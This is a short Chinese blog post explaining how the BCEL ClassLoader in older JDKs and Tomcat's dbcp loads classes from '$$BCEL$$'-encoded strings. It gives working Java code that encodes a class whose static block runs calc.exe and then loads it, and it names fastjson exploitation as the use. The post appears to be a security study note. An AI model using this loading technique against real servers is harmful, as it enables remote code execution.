直入主题
为啥要用BCEL?
因为范围广,如下
JDK内置类(JDK < 8u251)
Tomcat中相关依赖:
Tomcat7 org.apache.tomcat.dbcp.dbcp.BasicDataSource
Tomcat8及以后 org.apache.tomcat.dbcp.dbcp2.BasicDataSource
com.sun.org.apache.bcel.internal.util.ClassLoader重写了默认的类加载方法
当类名以$$BCEL$
开头时,会对后续字符串进行解码操作,用 createClass() 方法拿到一个 JavaClass 对象,最终通过 defineClass() 加载字节码还原类。
编写代码
我们现编写一个恶意类,这个类很简单,在静态初始化模块执行calc即可
这样当类被加载时,就会执行calc,很nice
package org.example;
import java.io.IOException;
public class Calc {
static {
try {
System.out.println(" [+]calc类的静态初始化模块,调用Runtime.getRuntime().exec(\"calc.exe\");");
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
随后我们回到主函数,通过BCEL加载这个恶意类
package org.example;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class Main {
public static void main(String[] args) throws Exception {
System.out.println("[+]低版本jdk可用BCEL,JDK < 8u251");
System.out.println("[+]获取Calc类");
JavaClass cls = Repository.lookupClass(Calc.class);
System.out.println("[+]获取Calc类的编码");
String code = Utility.encode(cls.getBytes(), true);
System.out.println(" "+code);
System.out.println("[+]使用BCEL的ClassLoader加载 $$BCEL$$ + Calc类的编码");
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
}
}
执行结果
用途
用在fastjson中,用来加载恶意类
标签:恶意,println,BCEL,apache,org,out,加载 From: https://www.cnblogs.com/Aixve/p/18185924